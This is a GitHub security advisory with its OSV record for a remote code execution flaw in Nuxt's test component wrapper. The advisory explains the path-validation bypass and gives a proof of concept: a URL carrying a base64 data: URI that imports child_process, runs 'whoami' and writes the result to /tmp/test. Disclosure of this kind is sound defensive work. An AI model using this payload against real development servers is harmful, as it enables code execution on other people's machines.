GHSA-V784-FJJH-F8R4
Vulnerability from github – Published: 2024-08-05 19:49 – Updated: 2024-11-18 16:27Summary
Due to the insufficient validation of the path parameter in the NuxtTestComponentWrapper, an attacker can execute arbitrary JavaScript on the server side, which allows them to execute arbitrary commands.
Details
While running the test, a special component named NuxtTestComponentWrapper is available.
https://github.com/nuxt/nuxt/blob/4779f5906fa4d3c784c2e2d6fe5a5c5f181faaec/packages/nuxt/src/app/components/nuxt-root.vue#L42-L43
This component loads the specified path as a component and renders it.
https://github.com/nuxt/nuxt/blob/4779f5906fa4d3c784c2e2d6fe5a5c5f181faaec/packages/nuxt/src/app/components/test-component-wrapper.ts#L9-L27
There is a validation for the path parameter to check whether the path traversal is performed, but this check is not sufficient.
https://github.com/nuxt/nuxt/blob/4779f5906fa4d3c784c2e2d6fe5a5c5f181faaec/packages/nuxt/src/app/components/test-component-wrapper.ts#L15-L19
Since import(...) uses query.path instead of the normalized path, a non-normalized URL can reach the import(...) function.
For example, passing something like ./components/test normalizes path to /root/directory/components/test, but import(...) still receives ./components/test.
By using this behavior, it's possible to load arbitrary JavaScript by using the path like the following:
data:text/javascript;base64,Y29uc29sZS5sb2coMSk
Since resolve(...) resolves the filesystem path, not the URI, the above URI is treated as a relative path, but import(...) sees it as an absolute URI, and loads it as a JavaScript.
PoC
- Create a nuxt project and run it in the test mode:
npx nuxi@latest init test
cd test
TEST=true npm run dev
- Open the following URL:
http://localhost:3000/__nuxt_component_test__/?path=data%3Atext%2Fjavascript%3Bbase64%2CKGF3YWl0IGltcG9ydCgnZnMnKSkud3JpdGVGaWxlU3luYygnL3RtcC90ZXN0JywgKGF3YWl0IGltcG9ydCgnY2hpbGRfcHJvY2VzcycpKS5zcGF3blN5bmMoIndob2FtaSIpLnN0ZG91dCwgJ3V0Zi04Jyk
- Confirm that the output of
whoamiis written to/tmp/test
Demonstration video: https://www.youtube.com/watch?v=FI6mN8WbcE4
Impact
Users who open a malicious web page in the browser while running the test locally are affected by this vulnerability, which results in the remote code execution from the malicious web page. Since web pages can send requests to arbitrary addresses, a malicious web page can repeatedly try to exploit this vulnerability, which then triggers the exploit when the test server starts.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "nuxt"
},
"ranges": [
{
"events": [
{
"introduced": "3.4.0"
},
{
"fixed": "3.12.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-34344"
],
"database_specific": {
"cwe_ids": [
"CWE-706",
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2024-08-05T19:49:45Z",
"nvd_published_at": "2024-08-05T21:15:38Z",
"severity": "CRITICAL"
},
"details": "### Summary\nDue to the insufficient validation of the `path` parameter in the NuxtTestComponentWrapper, an attacker can execute arbitrary JavaScript on the server side, which allows them to execute arbitrary commands.\n\n### Details\nWhile running the test, a special component named `NuxtTestComponentWrapper` is available.\nhttps://github.com/nuxt/nuxt/blob/4779f5906fa4d3c784c2e2d6fe5a5c5f181faaec/packages/nuxt/src/app/components/nuxt-root.vue#L42-L43\n\nThis component loads the specified path as a component and renders it.\n\nhttps://github.com/nuxt/nuxt/blob/4779f5906fa4d3c784c2e2d6fe5a5c5f181faaec/packages/nuxt/src/app/components/test-component-wrapper.ts#L9-L27\n\nThere is a validation for the `path` parameter to check whether the path traversal is performed, but this check is not sufficient.\n\nhttps://github.com/nuxt/nuxt/blob/4779f5906fa4d3c784c2e2d6fe5a5c5f181faaec/packages/nuxt/src/app/components/test-component-wrapper.ts#L15-L19\n\nSince `import(...)` uses `query.path` instead of the normalized `path`, a non-normalized URL can reach the `import(...)` function.\nFor example, passing something like `./components/test` normalizes `path` to `/root/directory/components/test`, but `import(...)` still receives `./components/test`.\n\nBy using this behavior, it\u0027s possible to load arbitrary JavaScript by using the path like the following:\n```\ndata:text/javascript;base64,Y29uc29sZS5sb2coMSk\n```\n\nSince `resolve(...)` resolves the filesystem path, not the URI, the above URI is treated as a relative path, but `import(...)` sees it as an absolute URI, and loads it as a JavaScript.\n\n### PoC\n1. Create a nuxt project and run it in the test mode:\n```\nnpx nuxi@latest init test\ncd test\nTEST=true npm run dev\n```\n2. Open the following URL:\n```\nhttp://localhost:3000/__nuxt_component_test__/?path=data%3Atext%2Fjavascript%3Bbase64%2CKGF3YWl0IGltcG9ydCgnZnMnKSkud3JpdGVGaWxlU3luYygnL3RtcC90ZXN0JywgKGF3YWl0IGltcG9ydCgnY2hpbGRfcHJvY2VzcycpKS5zcGF3blN5bmMoIndob2FtaSIpLnN0ZG91dCwgJ3V0Zi04Jyk\n```\n3. Confirm that the output of `whoami` is written to `/tmp/test`\n\nDemonstration video: https://www.youtube.com/watch?v=FI6mN8WbcE4\n\n### Impact\nUsers who open a malicious web page in the browser while running the test locally are affected by this vulnerability, which results in the remote code execution from the malicious web page.\nSince web pages can send requests to arbitrary addresses, a malicious web page can repeatedly try to exploit this vulnerability, which then triggers the exploit when the test server starts.",
"id": "GHSA-v784-fjjh-f8r4",
"modified": "2024-11-18T16:27:00Z",
"published": "2024-08-05T19:49:45Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/nuxt/nuxt/security/advisories/GHSA-v784-fjjh-f8r4"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-34344"
},
{
"type": "PACKAGE",
"url": "https://github.com/nuxt/nuxt"
},
{
"type": "WEB",
"url": "https://github.com/nuxt/nuxt/blob/4779f5906fa4d3c784c2e2d6fe5a5c5f181faaec/packages/nuxt/src/app/components/test-component-wrapper.ts#L15-L19"
},
{
"type": "WEB",
"url": "https://github.com/nuxt/nuxt/blob/4779f5906fa4d3c784c2e2d6fe5a5c5f181faaec/packages/nuxt/src/app/components/test-component-wrapper.ts#L9-L27"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Nuxt vulnerable to remote code execution via the browser when running the test locally"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.